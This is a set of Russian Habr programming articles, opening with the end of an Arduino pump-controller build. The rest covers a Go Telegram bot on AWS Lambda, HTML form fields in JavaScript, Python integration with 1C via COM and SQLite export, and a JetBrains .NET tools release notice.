Касаемо кода. Программа писалась в несколько подходов, модифицируясь по ходу выявления недочетов. Выглядит довольно запутанно, но постараюсь разъяснить.
Работает следующим образом:
**0)** Архитектура программы разработана так, чтобы опросить любое внешнее устройство(кнопку, датчик давления, таймер т.п.) и установить флаг на включение, либо выключение реле, а после, отдельной функцией проверить состояние флага и переключить в соответствующее положение.
**1)** Код программы упирается на таймер функции millis(), функция ResidueTime() вычисляет время следующего переключения реле, SwichRelay() проверяет статус флага и дает команду переключения, если необходимо.
**2)** Реле включается при подаче низкого уровня сигнала с ноги PB7. При включении устройства, после инициализации МК, реле переходит в положение ВКЛ, подавая напряжение на катушку пускателя, а тот в свою очередь подает напряжение на насос.
**3)** Время работы устройства — 2 минуты, после чего оно переходит в режим ожидания на 20 мин.
**4)** Включение выключателя обрабатывается незамедлительно, а после выключения программа выдерживает интервал простоя в 20 минут. Это сделано для того, чтобы скважина восполнила откачанную воду, и исключить случай работы насоса насухую.
**5)** Так же в коде присутствует функция ResetTimeToWork(), которая срабатывает при переполнении функции millis(), которая
> Возвращает количество миллисекунд с момента начала выполнения текущей программы на плате Arduino. Это количество сбрасывается на ноль, в следствие переполнения значения, приблизительно через 50 дней.
>
>
>
> (с сайта Arduino.ru)
Следовательно, дабы устройство не «упало» после этого срока непрерывной работы, разработана упомянутая функция, обеспечивающая стабильную работу устройства без дополнительного перезапуска.
Приступаем к сбору схемы.
Схема сборки:
Сигнал с ноги PB4 необходимо прижать к земле резистором 4,7КОм, в противном случае, реле работает неверно.
В коробке устанавливаем динрею для пускателя:
И монтируем остальные запчасти, закрепляя их положение с помощью горячих соплей, как на первом фото.
В крышке необходимо прорезать отверстие для пускателя, он выше, чем глубина коробки.
Не забываем установить блок питания для платы, можно спрятать его внутрь коробки, в ней еще достаточно места, либо вынести во вне и воткнуть его в близжайшую розетку.
Готовое устройство, осталось только посадить на клеммы пускателя кабель 230V и подключить нагрузку.
Выключатель использовал старый, он же стоял на включении насоса. Снаружи имеет неустранимые загрязнения цементом и прочие потертости, однако имеет герметичный корпус, внутри совершенно цел и в саду будет еще долго исправно работать. Учитывая мизерный коммутируемый ток — практически вечно, пока не сломается механически.
Спасибо [HWman](https://habr.com/ru/users/hwman/) 'у за представленную статью по обеспечению работы stm32 во фреймворке ARDUINO.
Архив со скетчем [прилагаю](https://yadi.sk/d/wOGY33BU3NUVSp). | https://habr.com/ru/post/407543/ | null | ru | null |
# Пишем телеграм бота на Go и AWS Lambda
### Что будем делать?
Будем писать простой телеграм бот, отвечающий тем же сообщением, что и отправили.
### Почему AWS Lambda ?
1. Удобство деплоя, просто пишешь `sls deploy`, и lambda уже выгружена
2. Платишь только за время, когда lambda работает
3. Не надо настраивать никаких серверов, и беспокоиться о масштабировании
### Что понадобится?
* Установленный go
* Nodejs и npm для установки serverless
* AWS аккаунт для деплоя
### TLDR
* Клонируем репозиторий <https://github.com/R11baka/echotgbot>
* Устанавливаем в .env файле BOT\_TOKEN переменную
* Компилируем бинарник `env GOOS=linux go build -o bin/webhook main.go`
* Выгружаем лямбду с помощью `sls deploy`
* Устанавливаем webhook с помощью BOT\_TOKEN
### Регистрация в AWS
* Регистрируем пользователя в AWS [aws console](https://console.aws.amazon.com/console/home?#) и получаем aws\_access\_key\_id, и aws\_secret\_access\_key и прописываем их в .aws/credentials файле
Вот как выглядит мой .aws/credentials
```
cat ~/.aws/credentials
[default]
aws_access_key_id = ADEFEFEFFEBDXK3
aws_secret_access_key = Zy6ewfir/zGaT1B2/o9JDWDSssdrla
region = us-west-1
```
### Регистрация бота
Для начала, нам надо зарегистрировать бота в [BotFather](https://telegram.me/botfather). Идем по [ссылке](https://telegram.me/botfather), отправляем команду BotFather `/newbot`, придумываем имя боту, описание. В конце, BotFather вернет нам токен бота.Этот токен понадобится,нам для дальнейшей разработки.
### Установка Serverless
Serverless-это framework, облегчающий настройку, деплой AWS Lambda функций. Написан на node, поэтому для его установки понадобится nodejs и npm. [Устанавливаем serverless](https://www.serverless.com/framework/docs/getting-started/) через npm
`npm install -g serverless`
После установки serverless проверяем, все ли установилось
```
sls -v
Framework Core: 2.35.0 (standalone)
Plugin: 4.5.3
SDK: 4.2.2
Components: 3.8.2
```
Теперь можно приступить к конфигурации serverless. Все настройки для serverless лежат в serverless.yml файле,который мы и создадим со следующим контентом
```
service: echoBot
useDotenv: true
configValidationMode: error # если в конфиге,чтото неправильно ,то ошибка
frameworkVersion: '>=1.28.0 <2.50.0'
provider:
region: "us-west-1"
lambdaHashingVersion: "20201221"
name: aws
runtime: go1.x
logRetentionInDays: 30 # сколько дней хранить логи
endpointType: regional
tracing: # включаем трейсинг для лямбды
apiGateway: true
lambda: true
iam:
role:
statements:
- Effect: "Allow"
Resource: "*"
Action:
- "xray:*"
package:
patterns:
- "bin/webhook" # деплоить только бинарник
functions:
webhook:
handler: bin/webhook
timeout: 15
description: simple echo bot
memorySize: 128 # размер памяти в мегабайтах для функции
environment:
BOT_TOKEN: ${env:BOT_TOKEN}
events:
- http:
path: /webhook
method: ANY
cors: false
```
### Имплементация логики бота на Go
1. Устанавливаем библиотеки telebot.v2 и aws-lambda-go
```
➜ go mod init testBot
go: creating new go.mod: module testBot
➜ go get -u gopkg.in/tucnak/telebot.v2
go: gopkg.in/tucnak/telebot.v2 upgrade => v2.3.5
go: github.com/pkg/errors upgrade => v0.9.1
➜ go get github.com/aws/aws-lambda-go
go: github.com/aws/aws-lambda-go upgrade => v1.23.0
```
2. Создаем файл main.go с контентом
```
package main
import (
"encoding/json"
"fmt"
"github.com/aws/aws-lambda-go/events"
"github.com/aws/aws-lambda-go/lambda"
tb "gopkg.in/tucnak/telebot.v2"
"os"
)
func main() {
settings := tb.Settings{
Token: os.Getenv("BOT_TOKEN"),
Synchronous: true,
Verbose: true,
}
tgBot, err := tb.NewBot(settings)
if err != nil {
fmt.Println(err)
panic("can't create bot")
}
tgBot.Handle(tb.OnText, func(m *tb.Message) {
message := m.Text
tgBot.Send(m.Sender, message)
})
lambda.Start(func(req events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) {
var u tb.Update
if err = json.Unmarshal([]byte(req.Body), &u); err == nil {
tgBot.ProcessUpdate(u)
}
return events.APIGatewayProxyResponse{Body: "ok", StatusCode: 200}, nil
})
}
```
Текущая документация в tucnak/telebot.v2 немного устарела, и если просто написать return вместо `return events.APIGatewayProxyResponse{Body: "ok", StatusCode: 200}, nil`, то телеграм будет повторно отправлять сообщения к боту.
### Deploy бота
* Создаем файл .env и вставляем API\_TOKEN полученный от BotFather
```
echo API_TOKEN={API_TOKEN_FROM_BOTFATHER} > .env
```
* Проверяем serverlss конфиг с помощью команды. Не должно быть никаких ошибок.
```
sls print
```
* Потом собираем бинарник
```
env GOOS=linux go build -o bin/webhook main.go
```
* И выгружаем его с помощью serverless
```
serverless deploy -v
```
При успешной выгрузке, мы получим в конце
```
Service Information
service: echoBot
stage: dev
region: us-west-1
stack: echoBot-dev
resources: 11
api keys:
None
endpoints:
ANY - https://y7p31bwnu1.execute-api.us-west-1.amazonaws.com/dev/webhook
functions:
webhook: echoBot-dev-webhook
layers:
None
```
<https://y7p31bwnu1.execute-api.us-west-1.amazonaws.com/dev/webhook> => этот эндпоинт и token бота нужен нам, чтобы установить webhook
### Интеграция с telegram
Осталось сообщить телеграму, какой эндпоинт дергать при получении сообщения. Делается это командой setWebhook
```
curl https://api.telegram.org/bot{YOUR_TOKEN}/setWebhook?url={YOUR_DEPLOYED_AWS_URL}
```
Проверка что webhook установлен, происходит с помощью getWebhookInfo
```
➜ ~ curl https://api.telegram.org/bot1324913549:AAE1zYMH6K3hF2TOgUQoIP-E1g4rMIamck/setWebhook\?url\= https://y7p31bwnu1.execute-api.us-west-1.amazonaws.com/dev/webhook
{"ok":true,"result":true,"description":"Webhook was set"}
➜ ~ curl https://api.telegram.org/bot1324913549:AAE1zYMH6K3hF2TOgUQoIP-E1g4rMIamck/getWebhookInfo
{"ok":true,"result":{"url":"https://y7p31bwnu1.execute-api.us-west-1.amazonaws.com/dev/webhook","has_custom_certificate":false,"pending_update_count":0,"max_connections":40,"ip_address":"184.169.148.254"}}
```
### Ошибки
Если что-то пошло не так,идем в [CloudWatch](https://us-west-1.console.aws.amazon.com/) и смотрим логи,или же из консоли также можно посмотреть логи
```
sls logs -f webhook
``` | https://habr.com/ru/post/555518/ | null | ru | null |
# Выразительный JavaScript: Формы и поля форм
#### Содержание
* [Введение](http://habrahabr.ru/post/240219/)
* [Величины, типы и операторы](http://habrahabr.ru/post/240223/)
* [Структура программ](http://habrahabr.ru/post/240225/)
* [Функции](http://habrahabr.ru/post/240349/)
* [Структуры данных: объекты и массивы](http://habrahabr.ru/post/240813/)
* [Функции высшего порядка](http://habrahabr.ru/post/241155/)
* [Тайная жизнь объектов](http://habrahabr.ru/post/241587/)
* [Проект: электронная жизнь](http://habrahabr.ru/post/241776/)
* [Поиск и обработка ошибок](http://habrahabr.ru/post/242609/)
* [Регулярные выражения](http://habrahabr.ru/post/242695/)
* [Модули](http://habrahabr.ru/post/243273/)
* [Проект: язык программирования](http://habrahabr.ru/post/243277/)
* [JavaScript и браузер](http://habrahabr.ru/post/243311/)
* [Document Object Model](http://habrahabr.ru/post/243815/)
* [Обработка событий](http://habrahabr.ru/post/244041/)
* [Проект: игра-платформер](http://habrahabr.ru/post/244405/)
* [Рисование на холсте](http://habrahabr.ru/post/244545/)
* [HTTP](http://habrahabr.ru/post/245145/)
* [Формы и поля форм](http://habrahabr.ru/post/245731/)
* [Проект: Paint](http://habrahabr.ru/post/245767/)
* [Node.js](http://habrahabr.ru/post/245775/)
* [Проект: веб-сайт по обмену опытом](http://habrahabr.ru/post/246331/)
* [Песочница для кода](http://eloquentjavascript.net/code)
*Я нынче ж на ученом кутеже
Твое доверье службой завоюю,
Ты ж мне черкни расписку долговую,
Чтоб мне не сомневаться в платеже.
Мефистофель, в «Фаусте» Гёте*
Формы были кратко представлены в предыдущей главе в качестве способа передачи информации, введённой пользователем, через HTTP. Они были разработаны в вебе до появления JavaScript, с тем расчётом, что взаимодействие с сервером происходит при переходе на другую страницу.
Но их элементы являются частями DOM, как и остальные части страницы, а элементы DOM, представляющие поля формы, поддерживают несколько свойств и событий, которых нет у других элементов. Это делает возможным просматривать и управлять полями ввода из программ JavaScript и добавлять функциональности к классическим формам или использовать формы и поля как основу для построения приложения.
#### Поля
Веб-форма состоит из любого числа полей ввода, окружённых тегом . HTML предлагает много разных полей, от простых галочек со значениями вкл/выкл до выпадающих списков и полей для ввода текста. В этой книге не будут подробно обсуждаться все виды полей, но мы сделаем небольшой их обзор.
Много типов полей ввода используют тег . Его атрибут type используется для выбора стиля поля. Вот несколько распространённых типов:
**text** текстовое поле на одну строку
**password** то же, что текст, но прячет ввод
**checkbox** переключатель вкл/выкл
**radio** часть поля с возможностью выбора из нескольких вариантов
**file** позволяет пользователю выбрать файл на его компьютере
Поля форм не обязательно должны появляться внутри тега . Их можно разместить в любом месте страницы. Информацию из таких полей нельзя передавать на сервер (это возможно только для всей формы целиком), но когда мы делаем поля, которые обрабатывает JavaScript, нам обычно и не нужно передавать информацию из полей через submit.
```
(text)
(password)
(checkbox)
(radio)
(file)
```
Интерфейс JavaScript для таких элементов разнится в зависимости от типа. Мы рассмотрим каждый из них чуть позже.
У текстовых полей на несколько строк есть свой тег . У тега должен быть закрывающий тег , и он использует текст внутри этих тегов вместо использования атрибута value.
```
один
два
три
```
А тег используется для создания поля, которое позволяет пользователю выбрать один из заданных вариантов.
```
Блины
Запеканка
Мороженка
```
Когда значение поля изменяется, запускается событие “change”.
#### Фокус
В отличие от большинства элементов документа HTML, поля форм могут получать фокус ввода клавиатуры. При щелчке или выборе их другим способом они становятся активными, т.е. главными приёмниками клавиатурного ввода.
Если в документе есть текстовое поле, то набираемый текст появится в нём, только если поле имеет фокус ввода. Другие поля по-разному реагируют на клавиатуру. К примеру, пытается перейти на вариант, содержащий текст, который вводит пользователь, а также отвечает на нажатия стрелок, передвигая выбор варианта вверх и вниз.
Управлять фокусом из JavaScript можно методами focus и blur. Первый перемещает фокус на элемент DOM, из которого он вызван, а второй убирает фокус. Значение document.activeElement соответствует текущему элементу, получившему фокус.
```
document.querySelector("input").focus();
console.log(document.activeElement.tagName);
// → INPUT
document.querySelector("input").blur();
console.log(document.activeElement.tagName);
// → BODY
```
На некоторых страницах нужно, чтобы пользователь сразу начинал работу с какого-то из полей формы. При помощи JavaScript можно передать этому полю фокус при загрузке документа, но в HTML также есть атрибут autofocus, который приводит к тому же результату, но сообщает браузеру о наших намерениях. В этом случае браузер может отменить это поведение в подходящих случаях, например когда пользователь перевёл фокус куда-то ещё.
```
```
Браузеры по традиции позволяют пользователю перемещать фокус клавишей Tab. Мы можем влиять на порядок перемещения через атрибут tabindex. В примере документ будет переносить фокус с текстового поля на кнопку OK, вместо того, чтобы сначала пройти через ссылку help.
```
[(help)](.)
OK
```
По умолчанию, большинство типов элементов HTML не получают фокус. Но добавив tabindex к элементу, вы сделаете возможным получение им фокуса.
#### Отключённые поля
Все поля можно отключить атрибутом disabled, который существует и в виде свойства элемента объекта DOM.
```
У меня всё хорошо
Я в отключке
```
Отключённые поля не принимают фокус и не изменяются, и в отличие от активных, обычно выглядят серыми и выцветшими.
Когда программа находится в процессе обработки нажатия на кнопку или другой элемент, которое может потребовать общение с сервером и занять длительное время, неплохо отключать элемент до завершения действия. В этом случае, когда пользователь потеряет терпение и нажмёт на элемент ещё раз, действие не будет повторено лишний раз.
#### Форма в целом
Когда поле, содержится в элементе , у его элемента DOM будет свойство form, которое будет ссылаться на форму. Элемент , в свою очередь, имеет свойство elements, содержащее массивоподобную коллекцию полей.
Атрибут name поля задаёт, как будет определено значение этого поля при передаче на сервер. Его также можно использовать как имя свойства при доступе к свойству формы elements, который работает и как объект, похожий на массив (с доступом по номерам), так и map (с доступом по имени).
```
Имя:
Пароль:
Войти
var form = document.querySelector("form");
console.log(form.elements[1].type);
// → password
console.log(form.elements.password.type);
// → password
console.log(form.elements.name.form == form);
// → true
``` | https://habr.com/ru/post/245731/ | null | ru | null |
# Моя интеграция с 1С
Привет Хабравчанам!
В этой статье я хочу рассказать о том, как налажена интеграция с платформой 1С в моей организации. Побудило меня это сделать практически полное отсутствие технической информации на эту тему. Читая различные статьи и доклады на тему связки 1С с какой-либо информационной системой, раз за разом убеждаешься, что все они носят маркетинговый, демонстрационный характер, и никогда — технический, отражающий проблему и суть ее решения.
Предупреждаю, что способ ни в коем случае не претендует на универсальность. Поскольку самих конфигураций 1С существует немало, а информационных систем, языков и платформ — еще больше, то количество возможных комбинаций огромно. Моя цель — продемонстрировать одно из возможных решений.
В качестве языка, который будет интегрироваться с 1С, я выбрал Питон. Он очень хорошо подходит для автоматизации процессов. Этому способствуют минималистичность синтаксиса (код набирается очень быстро), богатая стандартная библиотека (меньшая потребность в сторонних модулях), кроссплатформенность — с большой вероятностью, код, написанный в ОС Linix, успешно заработает в Windows.
Для начала обрисую данные, с которыми будем работать. Организация — энергосбытовая компания в дальневосточном регионе — обслуживает приблизительно 400 тыс. абонентов, база 1С на самописной конфигурации. Для каждого абонента хранятся его платежи, начисления, потребляемые услуги и схемы расчета, приборы учета, показания и множество других данных.
Когда-то в организации стояла программа, написанная на Дельфи и использующая в качестве БД MSSQL/Firebird. В те славные времена можно было подключиться к базе с помощью любого языка и совершить множество действий — выбрать абонентов-должников, разнести поступившие оплаты, зафиксировать показания приборов. Неудивительно, что коллекция скриптов, автоматизирующих рутину, постоянно росла. Программисты могли выполнять любые действия, не открывая саму программу.
Увы, с переходом на 1С халява кончилась — не стало возможности соединяться с базой напрямую. Вообще, платформа 1С сама по себе неделима и плохо идет на интеграцию с другими системами. Она, как говорится, вещь в себе. Загружая данные в 1С, следует помнить, что извлечь их оттуда будет не так просто. Но в виду того, что организации требовалось внедрять платежные системы и личный кабинет, было необходимо найти какое-то решение.
Основные задачи, стоявшие передо мной — это возможность быстрого получения данных по конкретному лицевому счету — ФИО, адрес, приборы учета, показания приборов, платежи, начисления. Плюс формирование документов — акта сверки, платежной квитанции. Итак, возможность прямого соединения с БД отсутствует — каждый, кто просматривал базу 1С на SQL-сервере, видел, что в массе таблиц вида aaa1, aaa2 разобраться трудно. А строить запросы с такими названиями таблиц и полей просто нереально. К тому же, многие таблицы 1С (особенно самые важные, вроде среза последних, остатков и оборотов) являются виртуальными и разбросаны по разным физическим таблицам, собираясь множественными джоинами. Это способ не подходит.
Платфома 1С предоставляет возможность соединяться с ней через COM-соединение. Подобно многим windows-программам, во время установки 1С в системе регистрируются два COM-объекта — Automation Server и COM Connector. С обоими объектами можно работать, используя язык, в котором предусмотрена поддержка COM-технологии.
Объект Automation Server — это приложение 1С, почти ничем не отличающееся от обычного клиентского приложения. Разница в том, что дополнительно появляется возможность программного управления экземпляром приложения. При работе с объектом COM Connector запускается облегченный вариант 1С-приложения, в котором недоступны формы, а так же функции и методы, имеющие отношение к интерфейсу и визуальным эффектам. Само приложение запускается в режиме «Внешнее соединение». Инициализация глобальных переменных (например, определение текущего пользователя и его настроек) должна выполняться в модуле внешнего соединения 1С. Если в режиме внешнего соединения в коде будет вызвана функция, не доступная в этом режиме, то будет вызвано исключение (которое будет передано в наш питон-скрипт). Вызов небезопасных функций следует обрамлять конструкциями вида
```
#Если НЕ ВнешнееСоединение Тогда
Предупреждение("Привет!");
#КонецЕсли
```
Поскольку работа с COM-объектами — технология исключительно windows-only, то не удивительно, что в стандартной поставке Питона она отсутствует. Потребуется установить расширение [Win32](http://sourceforge.net/projects/pywin32/) — набор модулей, предоставляющих весь нужный функционал для программирования под Windows на Питоне. Его можно скачать в виде уже собранного exe-установщика. Само расширение предоставляет доступ к реестру, службам, ODBC, COM-объектам и т.д. В качестве альтернативы можно сразу поставить дистрибутив [ActiveState Python](http://www.activestate.com/activepython), в котором расширение Win32 поставляется из коробки.
Некоторое время я экспериментировал с COM-соединением в разработке веб-приложений, в частности, личного кабинета. Были выявлены следующие минусы:
— COM-соединение работает медленно. Низкая производительность — известный минус COM-технологии.
— Процесс установки соединения с 1С в зависимости от конфигурации может занять от 1 до 8 секунд (в моем случае — 6 секунд). Стоит ли говорить, что установка соединения на каждый запрос приведет к тому, то каждая страница будет загружаться 8 секунд.
— Поскольку веб-приложения на питоне работают как самостоятельные сервера, то предыдущий пункт можно компенсировать хранением соединения в некоторой глобальной переменной и в случае ошибки восстанавливать его. Как поддерживать соединение на PHP, я, честно говоря, еще не думал.
— Теряется кроссплатформенность веб-приложения.
Исходя из перечисленных выше пунктов, было решено изменить принцип взаимодейстия, разделив его на 2 части — первую платформозависимую (виндовую), выгружающую данные 1С в какой-либо удобный формат, и вторую, не зависимую от платформы, способную работать с данными, ничего не подозревая об 1С в принципе.
Стратегия действий состоит в следующем: питон-скрипт соединяется с 1С, выполняет нужные запросы и выгружает данные в SQLite базу. К этой базе можно подключиться из Питона, PHP, Джавы. Большинство наших проектов работает на питоне, и так как я не выношу писать сырые SQL-запросы руками, то вся работа с базой SQLite выполняется через ORM SQLAlchemy. Потребовалось лишь описать структуру данных базы декларативном стиле:
```
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import Column, Integer, Numeric, DateTime, Unicode, Boolean, LargeBinary, ForeignKey
Base = declarative_base()
class Abonent(Base):
__tablename__ = "abonents"
id = Column(Integer, primary_key=True)
account = Column(Unicode(32), index=True)
code = Column(Unicode(32))
address = Column(Unicode(512))
fio = Column(Unicode(256))
source = Column(Unicode(16))
psu = Column(Unicode(256))
tso = Column(Unicode(256))
np = Column(Unicode(256))
street = Column(Unicode(256))
house = Column(Integer)
flat = Column(Integer)
mro = Column(Unicode(256))
class Payment(Base):
__tablename__ = "payments"
# и так далее...
```
Теперь достаточно импортировать этот модуль в любой питон-проект, и можно работать с данными.
Предвижу ваш вопрос — «а почему SQLite»? Главная причина — база нужна только для чтения, поэтому проблемы с записью в SQLite нас волновать не должны. Во-вторых, формат этой этой СУБД удобен — ее удобнее просматривать (существуем множество бесплатных утилит, в том числе супер-расширение для FireFox). В-третьих, в некоторых случаях требовалось получить доступ к абонентам с тех машин, на которых нет соединения с MySQL-сервером. В таком случае достаточно скопировать файл SQLite-базы, и на этой машине будет доступ ко всей информации.
Выгрузка происходит раз в сутки ночью. Занесение данных в 1С можно автоматизировать таким же образом. Например, требуется фиксировать показания, оставленные абонентами на сайте личного кабинета. В этом случае опять соединяемся с 1С и программным методом создаем и проводим документ «Акт снятия показаний». Код я приведу чуть ниже.
Работа с COM-объектами в Питоне немного необычна. Во-первых, утрачивается «питоничность» кода — правила именования переменных и функций в 1С, мягко говоря, не соответствуют Дзену Питона. Во-вторых, всем известно, что объекты 1С зачастую именуются кириллическими символами, что вызовет проблемы при разработке на Питоне… но они решаемы. Предлагаю ознакомиться с кодом:
```
import pythoncom
import win32com.client
V82_CONN_STRING = "Srvr=v8_server;Ref=v8_db;Usr=username;Pwd=megapass;"
pythoncom.CoInitialize()
V82 = win32com.client.Dispatch("V82.COMConnector").Connect(V82_CONN_STRING)
```
Как видно из кода, инициализируется клиент для работы с 1С. Определение COM-объекта происходит по имени «V82.COMConnector». Обратите внимание, что это название справедливо для платформы V8.2, если у вас версия 8.1, то имя будет «V81.COMConnector».
У инициализированного клиента мы вызываем метод Сonnect(), передавая ему строку подключения. Строка складывается из имени сервера, базы, пользователя и пароля. Полученный объект V82 хранит в себе соединение с приложением 1С. У него нет метода Disconnect() или чего-то в этом роде. Чтобы отключиться о базы, достаточно удалить объект из памяти функцией del() или присвоить переменной None.
Имея объект, можно обращаться к любым полям и методам глобального контекста 1С, оперировать универсальными объеками типа ТабличныйДокумент, ТаблицаЗначений и тд. Важно учесть, что при работе через COM-соединение 1С работает в режиме «Внешнее соединение». В нем недоступны любые функции для интерактивной работы, например, всплывающие диалоги, уведомления, и, что самое главное, формы. Уверен, что вы не раз проклянете разработчиков конфигурации, которые заключают самый важный функционал в процедуру Кнопка1Нажатие() в модуле формы документа.
Давайте поговорим о такой важдной вещи, как киррилические атрибуты. Не смотря на то, что 1С — двуязычная среда и для каждого русского метода есть англоязычный аналог, рано или поздно потребуется обратиться к киррилическому атрибуту. Если на языках PHP или VBSCript это не вызовет никаких проблем,
```
Set Con = CreateObject("v81.COMConnector")
Set v8 =Con.Connect("строкаПодключения")
Set СчетаМенеджер = v8.Документы.Счета
....
Set СчетаЗапись= СчетаМенеджер.СоздатьЭлемент()
СчетаЗапись.Контрагент = ....
....
СчетаЗапись.Записать()
```
то код на питоне просто вылетит с ошибкой Syntax Error. Что же делать? Править конфигурацию? Нет, достаточно воспользоваться методами getattr и setattr. Передавая в эти функции COM-объект и кириллическое имя аттрибута, можно соответственно получать и устанавливать значения:
```
#coding=cp1251
catalog = getattr(V82.Catalogs, "ЛицевыеСчета")
```
Важно следующее: имена реквизитов, а так же параметры функций и методов должны передаваться в кодировке cp1251. Поэтому, чтобы заранее избежать путиницы с кодировками, имеет смысл объявить ее в начале файла: #coding=cp1251. После этого можно передавать строки, не волнуясь об их кодировке. Но! Все строки, полученные из 1С (результаты вызова функций, запросов), будут в кодировке UTF-8.
Пример кода, который выполняет в среде 1С запрос, перебирает результат и сохраняет в SQLite базу:
```
#coding=cp1251
q = '''
ВЫБРАТЬ
ЛицевыеСчета.Код КАК code,
ЛицевыеСчета.Строение.НаселенныйПункт.Наименование + ", " + ЛицевыеСчета.КраткийАдрес КАК address,
ЛицевыеСчета.Абонент.Наименование КАК fio,
ЛицевыеСчета.Дивизион.Наименование КАК psu,
ВЫРАЗИТЬ(ХарактеристикиЛицевыеСчетаСрезПоследних.Значение КАК Справочник.ТерриториальноСетевыеОрганизации).Наименование КАК tso,
ЛицевыеСчета.Строение.НаселенныйПункт.Наименование КАК np,
ЛицевыеСчета.Строение.Улица.Наименование КАК street,
ЛицевыеСчета.Строение.Дом КАК house,
ЛицевыеСчета.ОсновноеПомещение.НомерПомещения КАК flat,
ЛицевыеСчета.Дивизион.Родитель.Наименование КАК mro
ИЗ
Справочник.ЛицевыеСчета КАК ЛицевыеСчета
ЛЕВОЕ СОЕДИНЕНИЕ РегистрСведений.ХарактеристикиЛицевыеСчета.СрезПоследних(, ВидХарактеристики = ЗНАЧЕНИЕ(Справочник.ВидыХарактеристик.ТерриториальноСетеваяОрганизация)) КАК ХарактеристикиЛицевыеСчетаСрезПоследних
ПО ЛицевыеСчета.Ссылка = ХарактеристикиЛицевыеСчетаСрезПоследних.Объект
'''
query = V82.NewObject("Query", q)
selection = query.Execute().Choose()
CONN = db.connect()
CONN.query(models.Abonent).delete()
while selection.Next():
abonent = models.Abonent()
abonent.account = selection.code.strip()
abonent.code = selection.code
abonent.fio = selection.fio
abonent.address = selection.address
abonent.psu = selection.psu
abonent.tso = selection.tso
abonent.source = u"ASRN"
abonent.np = selection.np
abonent.street = selection.street
abonent.house = selection.house
abonent.flat = selection.flat
abonent.mro = selection.mro
CONN.add(abonent)
CONN.commit()
```
Здесь CONN — это сессия соединения с SQLite-базой. Создается объект запроса query, заполняется его текст. Как было замечено выше, текст запроса должен быть в cp1251, для чего вначале объявлена кодировка. После выполнения запроса в базе удаляются все абоненты, чтобы не добавить дубли, затем добавляются в цикле и следует финальный комит.
При работе с запросами я выявил следующие правила.
— Выбирая поля, назначайте им названия латиницей, будет гораздо удобнее обращаться к ним через селектор (точку), вместо getattr().
— Выбирайте только примитиные типы данных: строки, числа, дату и булево. Никогда не выбирайте ссылки на объект (документ, справочник)! В данном контексте ссылки вам абсолютно не нужны и даже вредны, потому что любое обращение к реквизиту или методу ссылки приведет к запросу через COM-соединение. Если обращаться к атрибутам ссылки в цикле, то это будет крайне медленно.
— Если вы выбираете поле типа Дата, то оно буде возвращено как объект PyTime. Это специальный тип данных для передачи даты-времени в COM-соединении. С ним не так удобно работать, как с привычным datetime. Если передать этот объект в int(), то вернется timestamp, из которого потом можно получить datetime методом fromtimestamp().
Теперь рассмотрим, как формируются печатные документы. Дело в том, что потребителю нужно предоставлять возможность скачивать заранее подготовленные документы, например, платежную квитанцию или акт сверки. Эти документы формируются в 1С в соответствии установленным требованиям, их реализация на Питоне займет много времени. Поэтому лучше сгенерировать документы в 1С и сохранять их в формат Excel.
Так, документ акта сверки генерируется специальной внешней обработкой. Для тех, кто не знаком с терминологией 1С: обработка — это автономная программа, имеющая свой модуль, формы, шаблоны, предназначенная для запуска в среде 1С. Необходимо инициализировать обработку, заполнить ее реквизиты и вызвать функцию, которая вернет нам табличный документ, предназначенный для просмотра в 1С. Этот документ нужно сохранить в формат Excel и скопировать на сервер или записать в базу.
```
link = getattr(V82.Catalogs, "ОтчетыСистемы").FindByDescription("Акт Сверки Элэн")
nav_url = V82.GetURL(link, "Отчет")
name = V82.ExternalReports.Connect(nav_url)
ExternalReport = V82.ExternalReports.Create(name)
setattr(ExternalReport, "ЛицевойСчет", reference)
table_doc = ExternalReport.GetDoc()
path = V82.GetTempFileName("xls")
table_doc.Write(path, V82 .SpreadsheetDocumentFileType.XLS)
report = models.Report()
report.account = reference.Code.strip()
report.type = u"act"
report.document = open(path, "rb").read()
CONN.add(report)
```
В приведенном фрагменте выполняется следующее. Подключается обработка, формирующая документ. Обработка может быть встроена в конфигурацию, храниться на диске или в базе данных 1С (в каком-то справочнике). Поскольку обработки часто меняются, то, чтобы каждый раз не обновлять конфигурацию, самые часто меняющиеся обработки хранятся в справочнике «ОтчетыСистемы», в реквизите типа «хранилище значения» с именем Отчет. Обработку можно инициализировать, выгрузив ее из базы на диск и подгрузив, либо методом GetURL(), в который нужно передать ссылку на элемент справочника и имя реквизита. Полученному объекту обработки мы назначаем значения реквизитов, вызываем экспортируемую функцию GetDoc(), получаем табличный документ, который сохраняется во временный Excel-файл. Содержимое этого файла записывается в SQlite-базу.
Последнее, что остается рассмотреть — это программное занесение данных в 1С. Предположим, что требуется занести показания от абонентов. Для этого достаточно создать и провести документ «Акт снятия показаний»:
```
#coding=cp1251
acts = getattr(V82.Documents, "АктСнятияПоказаний")
act = acts.CreateDocument()
setattr(act, "Показание", 1024.23)
setattr(act, "Абонент", "Иванов")
# Заполнение прочих реквизитов...
act.Write()
```
Теперь занесение данных автоматизированно.
Итак, я изложил способ, который основан на программной выгрузке и загрузке даных с использованием COM-соединния. Этот метод успешно функционирует в моей организации почти год. База, формируемая из 1С, обслуживает 3 платежные системы, интернет-эквайринг (оплата картами через интернет), а так же личный кабинет. Помимо этого, к базе подключаются различные скрипты для автоматизации рутины.
Несмотря на недостатки метода (медленная скорость COM-соединения), в целом он функционирует стабильно. У нас есть данные в платформонезависимом виде (SQLite), с которыми можно работать из любого языка. И основная часть кода написана на Питоне, а значит, доступны множество средств и приемов, о которых даже нельзя мечтать в 1С.
Это один из возможных способов взаимодейстия с 1С. Я уверен, что он не нов и наверняка уже был кем-то опробован, оптимизирован. Однако, я постарался изложить максимум деталей процесса, чтобы уберечь вас от подводных камней, на которые сам наступал.
Желаю всем удачи, и помните, что не так страшен 1С, как его малюют! | https://habr.com/ru/post/139272/ | null | ru | null |
# Обновления в ночь на пятницу, 13-е: ReSharper и другие .NET-продукты
Нет, этот пост не про поддержку C++ в решарпере. Это потом.
А пока что мы постарались и обновили почти всю линейку .NET-инструментов. Теперь вы можете их взять и установить:
* [ReSharper 8.1](http://www.jetbrains.com/resharper/download/) (улучшает в Visual Studio примерно все)
* [dotCover 2.6](http://www.jetbrains.com/dotcover/download) (выполняет тесты и замеряет покрытие ими кода)
* [dotTrace Performance 5.5.3](http://www.jetbrains.com/profiler/download) (профилирует тесты и прочие .NET-сборки)
